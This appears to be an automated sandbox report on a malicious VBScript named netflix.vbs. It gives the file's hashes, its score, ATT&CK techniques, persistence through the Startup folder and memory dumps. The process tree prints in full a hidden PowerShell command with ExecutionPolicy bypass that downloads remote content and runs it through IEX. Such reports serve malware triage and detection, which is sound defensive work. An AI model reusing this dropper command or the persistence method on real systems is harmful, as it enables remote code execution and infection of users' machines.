70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b

General

Target

netflix.vbs
Size

1000B
MD5

3e4a20fd9f6d3e595eba5ab59c868cb6
SHA1

660ba0a49f0d9db61c1054c78abbce232bc8401c
SHA256

70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b
SHA512

85838fd9828c8fc91f0985c8f3e3b1a3c03425e3aba5517104dcbd96c63115545758a625b59bf2d6beaf225758e8af375fc774d6cc612ebef9a126732c200dd8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.netflix.com/

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
40	4124	powershell.exe
41	4124	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netflix.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\netflix.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 928	4164	WScript.exe	85
PID 4164 wrote to memory of 928	4164	WScript.exe	85
PID 928 wrote to memory of 4124	928	cmd.exe	87
PID 928 wrote to memory of 4124	928	cmd.exe	87
PID 928 wrote to memory of 4124	928	cmd.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\netflix.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_de2xupid.sit.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4124-25-0x00000000078E0000-0x0000000007F5A000-memory.dmp

Filesize
6.5MB

Download
memory/4124-27-0x000000007F400000-0x000000007F410000-memory.dmp

Filesize
64KB

Download
memory/4124-4-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4124-5-0x0000000005570000-0x0000000005B98000-memory.dmp

Filesize
6.2MB

Download
memory/4124-6-0x00000000053D0000-0x00000000053F2000-memory.dmp

Filesize
136KB

Download
memory/4124-7-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/4124-8-0x00000000054E0000-0x0000000005546000-memory.dmp

Filesize
408KB

Download
memory/4124-2-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/4124-26-0x0000000006800000-0x000000000681A000-memory.dmp

Filesize
104KB

Download
memory/4124-19-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/4124-20-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4124-21-0x0000000005030000-0x000000000504E000-memory.dmp

Filesize
120KB

Download
memory/4124-22-0x0000000006370000-0x00000000063BC000-memory.dmp

Filesize
304KB

Download
memory/4124-23-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4124-3-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4124-24-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4124-18-0x0000000005D60000-0x00000000060B4000-memory.dmp

Filesize
3.3MB

Download
memory/4124-1-0x0000000002980000-0x00000000029B6000-memory.dmp

Filesize
216KB

Download
memory/4124-28-0x00000000078A0000-0x00000000078D2000-memory.dmp

Filesize
200KB

Download
memory/4124-29-0x00000000710C0000-0x000000007110C000-memory.dmp

Filesize
304KB

Download
memory/4124-30-0x0000000071250000-0x00000000715A4000-memory.dmp

Filesize
3.3MB

Download
memory/4124-40-0x0000000007700000-0x000000000771E000-memory.dmp

Filesize
120KB

Download
memory/4124-41-0x0000000007F60000-0x0000000008003000-memory.dmp

Filesize
652KB

Download
memory/4124-42-0x0000000007880000-0x000000000788A000-memory.dmp

Filesize
40KB

Download
memory/4124-43-0x0000000008150000-0x00000000081E6000-memory.dmp

Filesize
600KB

Download
memory/4124-44-0x00000000080B0000-0x00000000080C1000-memory.dmp

Filesize
68KB

Download
memory/4124-45-0x00000000080D0000-0x00000000080DE000-memory.dmp

Filesize
56KB

Download
memory/4124-46-0x00000000080E0000-0x00000000080F4000-memory.dmp

Filesize
80KB

Download
memory/4124-47-0x0000000008120000-0x000000000813A000-memory.dmp

Filesize
104KB

Download
memory/4124-48-0x0000000008110000-0x0000000008118000-memory.dmp

Filesize
32KB

Download
memory/4124-51-0x0000000004F30000-0x0000000004F40000-memory.dmp

Filesize
64KB

Download
memory/4124-52-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download

Analysis

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